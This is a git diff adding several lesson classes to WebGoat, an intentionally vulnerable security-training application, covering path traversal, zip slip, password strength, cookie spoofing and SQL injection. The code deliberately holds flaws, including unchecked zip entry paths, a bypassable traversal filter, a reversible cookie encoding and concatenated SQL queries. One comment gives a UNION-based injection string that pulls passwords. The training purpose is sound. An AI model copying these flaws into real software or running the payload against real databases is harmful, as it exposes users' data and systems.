+ e.getMessage()); + } + } + var secretDirectory = this.catPicturesDirectory.getParentFile().getParentFile(); + try { + Files.writeString( + secretDirectory.toPath().resolve("path-traversal-secret.jpg"), + "You found it submit the SHA-512 hash of your username as answer"); + } catch (IOException e) { + log.error("Unable to write secret in: {}", secretDirectory, e); + } + } + + @PostMapping("/PathTraversal/random") + @ResponseBody + public AttackResult execute(@RequestParam(value = "secret", required = false) String secret) { + if (Sha512DigestUtils.shaHex(getWebSession().getUserName()).equalsIgnoreCase(secret)) { + return success(this).build(); + } + return failed(this).build(); + } + + @GetMapping("/PathTraversal/random-picture") + @ResponseBody + public ResponseEntity getProfilePicture(HttpServletRequest request) { + var queryParams = request.getQueryString(); + if (queryParams != null && (queryParams.contains("..") || queryParams.contains("/"))) { + return ResponseEntity.badRequest() + .body("Illegal characters are not allowed in the query params"); + } + try { + var id = request.getParameter("id"); + var catPicture = + new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + ".jpg"); + + if (catPicture.getName().toLowerCase().contains("path-traversal-secret.jpg")) { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .body(FileCopyUtils.copyToByteArray(catPicture)); + } + if (catPicture.exists()) { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) + .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture))); + } + return ResponseEntity.status(HttpStatus.NOT_FOUND) + .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) + .body( + StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles()) + .getBytes()); + } catch (IOException | URISyntaxException e) { + log.error("Image not found", e); + } + + return ResponseEntity.badRequest().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java new file mode 100644 index 000000000..49c7b15c3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java @@ -0,0 +1,102 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.StandardCopyOption; +import java.util.Arrays; +import java.util.Enumeration; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.util.FileCopyUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-zip-slip.hint1", + "path-traversal-zip-slip.hint2", + "path-traversal-zip-slip.hint3", + "path-traversal-zip-slip.hint4" +}) +@Slf4j +public class ProfileZipSlip extends ProfileUploadBase { + + public ProfileZipSlip( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/zip-slip", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler(@RequestParam("uploadedFileZipSlip") MultipartFile file) { + if (!file.getOriginalFilename().toLowerCase().endsWith(".zip")) { + return failed(this).feedback("path-traversal-zip-slip.no-zip").build(); + } else { + return processZipUpload(file); + } + } + + @SneakyThrows + private AttackResult processZipUpload(MultipartFile file) { + var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName()); + cleanupAndCreateDirectoryForUser(); + var currentImage = getProfilePictureAsBase64(); + + try { + var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename()); + FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile()); + + ZipFile zip = new ZipFile(uploadedZipFile.toFile()); + Enumeration entries = zip.entries(); + while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File f = new File(tmpZipDirectory.toFile(), e.getName()); + InputStream is = zip.getInputStream(e); + Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); + } + + return isSolved(currentImage, getProfilePictureAsBase64()); + } catch (IOException e) { + return failed(this).output(e.getMessage()).build(); + } + } + + private AttackResult isSolved(byte[] currentImage, byte[] newImage) { + if (Arrays.equals(currentImage, newImage)) { + return failed(this).output("path-traversal-zip-slip.extracted").build(); + } + return success(this).output("path-traversal-zip-slip.extracted").build(); + } + + @GetMapping("/PathTraversal/zip-slip/") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } + + @GetMapping("/PathTraversal/zip-slip/profile-image/{username}") + @ResponseBody + public ResponseEntity getProfilePicture(@PathVariable("username") String username) { + return ResponseEntity.notFound().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java new file mode 100644 index 000000000..99a62aeff --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.securepasswords; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author BenediktStuhrmann + * @since 12/2/18. + */ +@Component +public class SecurePasswords extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "secure-passwords.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java new file mode 100644 index 000000000..5b9932d36 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java @@ -0,0 +1,118 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.securepasswords; + +import com.nulabinc.zxcvbn.Strength; +import com.nulabinc.zxcvbn.Zxcvbn; +import java.text.DecimalFormat; +import java.text.DecimalFormatSymbols; +import java.util.Locale; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class SecurePasswordsAssignment extends AssignmentEndpoint { + + @PostMapping("SecurePasswords/assignment") + @ResponseBody + public AttackResult completed(@RequestParam String password) { + Zxcvbn zxcvbn = new Zxcvbn(); + StringBuilder output = new StringBuilder(); + DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH)); + df.setMaximumFractionDigits(340); + Strength strength = zxcvbn.measure(password); + + output.append("Your Password: *******
"); + output.append("Length: " + password.length() + "
"); + output.append( + "Estimated guesses needed to crack your password: " + + df.format(strength.getGuesses()) + + "
"); + output.append( + "

Score: " + + strength.getScore() + + "/4
"); + if (strength.getScore() <= 1) { + output.append( + "
 

"); + } else if (strength.getScore() <= 3) { + output.append( + "
 

"); + } else { + output.append( + "
 

"); + } + output.append( + "Estimated cracking time: " + + calculateTime( + (long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()) + + "
"); + if (strength.getFeedback().getWarning().length() != 0) + output.append("Warning: " + strength.getFeedback().getWarning() + "
"); + // possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee + // maybe ask user to try also weak passwords to see and understand feedback? + if (strength.getFeedback().getSuggestions().size() != 0) { + output.append("Suggestions:
    "); + for (String sug : strength.getFeedback().getSuggestions()) + output.append("
  • " + sug + "
  • "); + output.append("

"); + } + output.append("Score: " + strength.getScore() + "/4
"); + + if (strength.getScore() >= 4) + return success(this).feedback("securepassword-success").output(output.toString()).build(); + else return failed(this).feedback("securepassword-failed").output(output.toString()).build(); + } + + public static String calculateTime(long seconds) { + int s = 1; + int min = (60 * s); + int hr = (60 * min); + int d = (24 * hr); + int yr = (365 * d); + + long years = seconds / (d) / 365; + long days = (seconds % yr) / (d); + long hours = (seconds % d) / (hr); + long minutes = (seconds % hr) / (min); + long sec = (seconds % min * s); + + return (years + + " years " + + days + + " days " + + hours + + " hours " + + minutes + + " minutes " + + sec + + " seconds"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java new file mode 100644 index 000000000..f9552416e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class SpoofCookie extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "spoofcookie.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java new file mode 100644 index 000000000..2efc739f6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java @@ -0,0 +1,125 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie; + +import java.util.Map; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec; +import org.springframework.web.bind.UnsatisfiedServletRequestParameterException; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +public class SpoofCookieAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "spoof_auth"; + private static final String COOKIE_INFO = + "Cookie details for user %s:
" + COOKIE_NAME + "=%s"; + private static final String ATTACK_USERNAME = "tom"; + + private static final Map users = + Map.of("webgoat", "webgoat", "admin", "admin", ATTACK_USERNAME, "apasswordfortom"); + + @PostMapping(path = "/SpoofCookie/login") + @ResponseBody + @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + if (StringUtils.isEmpty(cookieValue)) { + return credentialsLoginFlow(username, password, response); + } else { + return cookieLoginFlow(cookieValue); + } + } + + @GetMapping(path = "/SpoofCookie/cleanup") + public void cleanup(HttpServletResponse response) { + Cookie cookie = new Cookie(COOKIE_NAME, ""); + cookie.setMaxAge(0); + response.addCookie(cookie); + } + + private AttackResult credentialsLoginFlow( + String username, String password, HttpServletResponse response) { + String lowerCasedUsername = username.toLowerCase(); + if (ATTACK_USERNAME.equals(lowerCasedUsername) + && users.get(lowerCasedUsername).equals(password)) { + return informationMessage(this).feedback("spoofcookie.cheating").build(); + } + + String authPassword = users.getOrDefault(lowerCasedUsername, ""); + if (!authPassword.isBlank() && authPassword.equals(password)) { + String newCookieValue = EncDec.encode(lowerCasedUsername); + Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue); + newCookie.setPath("/WebGoat"); + newCookie.setSecure(true); + response.addCookie(newCookie); + return informationMessage(this) + .feedback("spoofcookie.login") + .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue())) + .build(); + } + + return informationMessage(this).feedback("spoofcookie.wrong-login").build(); + } + + private AttackResult cookieLoginFlow(String cookieValue) { + String cookieUsername; + try { + cookieUsername = EncDec.decode(cookieValue).toLowerCase(); + } catch (Exception e) { + // for providing some instructive guidance, we won't return 4xx error here + return failed(this).output(e.getMessage()).build(); + } + if (users.containsKey(cookieUsername)) { + if (cookieUsername.equals(ATTACK_USERNAME)) { + return success(this).build(); + } + return failed(this) + .feedback("spoofcookie.cookie-login") + .output(String.format(COOKIE_INFO, cookieUsername, cookieValue)) + .build(); + } + + return failed(this).feedback("spoofcookie.wrong-cookie").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java new file mode 100644 index 000000000..d5aa4cf7d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java @@ -0,0 +1,88 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie.encoders; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import org.apache.commons.lang3.RandomStringUtils; +import org.springframework.security.crypto.codec.Hex; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +public class EncDec { + + // PoC: weak encoding method + + private static final String SALT = RandomStringUtils.randomAlphabetic(10); + + private EncDec() {} + + public static String encode(final String value) { + if (value == null) { + return null; + } + + String encoded = value.toLowerCase() + SALT; + encoded = revert(encoded); + encoded = hexEncode(encoded); + return base64Encode(encoded); + } + + public static String decode(final String encodedValue) throws IllegalArgumentException { + if (encodedValue == null) { + return null; + } + + String decoded = base64Decode(encodedValue); + decoded = hexDecode(decoded); + decoded = revert(decoded); + return decoded.substring(0, decoded.length() - SALT.length()); + } + + private static String revert(final String value) { + return new StringBuilder(value).reverse().toString(); + } + + private static String hexEncode(final String value) { + char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8)); + return new String(encoded); + } + + private static String hexDecode(final String value) { + byte[] decoded = Hex.decode(value); + return new String(decoded); + } + + private static String base64Encode(final String value) { + return Base64.getEncoder().encodeToString(value.getBytes()); + } + + private static String base64Decode(final String value) { + byte[] decoded = Base64.getDecoder().decode(value.getBytes()); + return new String(decoded); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java new file mode 100644 index 000000000..aa2492703 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class SqlInjectionAdvanced extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "2.sql.advanced.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java new file mode 100644 index 000000000..95f86ca02 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java @@ -0,0 +1,104 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.sql.*; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@AssignmentHints( + value = {"SqlInjectionChallenge1", "SqlInjectionChallenge2", "SqlInjectionChallenge3"}) +@Slf4j +public class SqlInjectionChallenge extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionChallenge(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PutMapping("/SqlInjectionAdvanced/challenge") + // assignment path is bounded to class so we use different http method :-) + @ResponseBody + public AttackResult registerNewUser( + @RequestParam String username_reg, + @RequestParam String email_reg, + @RequestParam String password_reg) + throws Exception { + AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg); + + if (attackResult == null) { + + try (Connection connection = dataSource.getConnection()) { + String checkUserQuery = + "select userid from sql_challenge_users where userid = '" + username_reg + "'"; + Statement statement = connection.createStatement(); + ResultSet resultSet = statement.executeQuery(checkUserQuery); + + if (resultSet.next()) { + if (username_reg.contains("tom'")) { + attackResult = success(this).feedback("user.exists").build(); + } else { + attackResult = failed(this).feedback("user.exists").feedbackArgs(username_reg).build(); + } + } else { + PreparedStatement preparedStatement = + connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)"); + preparedStatement.setString(1, username_reg); + preparedStatement.setString(2, email_reg); + preparedStatement.setString(3, password_reg); + preparedStatement.execute(); + attackResult = success(this).feedback("user.created").feedbackArgs(username_reg).build(); + } + } catch (SQLException e) { + attackResult = failed(this).output("Something went wrong").build(); + } + } + return attackResult; + } + + private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) { + if (StringUtils.isEmpty(username_reg) + || StringUtils.isEmpty(email_reg) + || StringUtils.isEmpty(password_reg)) { + return failed(this).feedback("input.invalid").build(); + } + if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) { + return failed(this).feedback("input.invalid").build(); + } + return null; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java new file mode 100644 index 000000000..bdfcc88f2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java @@ -0,0 +1,71 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlInjectionChallengeHint1", + "SqlInjectionChallengeHint2", + "SqlInjectionChallengeHint3", + "SqlInjectionChallengeHint4" + }) +public class SqlInjectionChallengeLogin extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionChallengeLogin(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/challenge_Login") + @ResponseBody + public AttackResult login( + @RequestParam String username_login, @RequestParam String password_login) throws Exception { + try (var connection = dataSource.getConnection()) { + var statement = + connection.prepareStatement( + "select password from sql_challenge_users where userid = ? and password = ?"); + statement.setString(1, username_login); + statement.setString(2, password_login); + var resultSet = statement.executeQuery(); + + if (resultSet.next()) { + return ("tom".equals(username_login)) + ? success(this).build() + : failed(this).feedback("ResultsButNotTom").build(); + } else { + return failed(this).feedback("NoResultsMatched").build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java new file mode 100644 index 000000000..313c73910 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java @@ -0,0 +1,116 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.sql.*; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.introduction.SqlInjectionLesson5a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-advanced-6a-1", + "SqlStringInjectionHint-advanced-6a-2", + "SqlStringInjectionHint-advanced-6a-3", + "SqlStringInjectionHint-advanced-6a-4", + "SqlStringInjectionHint-advanced-6a-5" + }) +public class SqlInjectionLesson6a extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + private static final String YOUR_QUERY_WAS = "
Your query was: "; + + public SqlInjectionLesson6a(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/attack6a") + @ResponseBody + public AttackResult completed(@RequestParam(value = "userid_6a") String userId) { + return injectableQuery(userId); + // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from + // user_system_data -- + } + + public AttackResult injectableQuery(String accountName) { + String query = ""; + try (Connection connection = dataSource.getConnection()) { + boolean usedUnion = true; + query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'"; + // Check if Union is used + if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) { + usedUnion = false; + } + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) { + ResultSet results = statement.executeQuery(query); + + if ((results != null) && results.first()) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); + + String appendingWhenSucceded; + if (usedUnion) + appendingWhenSucceded = + "Well done! Can you also figure out a solution, by appending a new SQL Statement?"; + else + appendingWhenSucceded = + "Well done! Can you also figure out a solution, by using a UNION?"; + results.last(); + + if (output.toString().contains("dave") && output.toString().contains("passW0rD")) { + output.append(appendingWhenSucceded); + return success(this) + .feedback("sql-injection.advanced.6a.success") + .feedbackArgs(output.toString()) + .output(" Your query was: " + query) + .build(); + } else { + return failed(this).output(output.toString() + YOUR_QUERY_WAS + query).build(); + } + } else { + return failed(this) + .feedback("sql-injection.advanced.6a.no.results") + 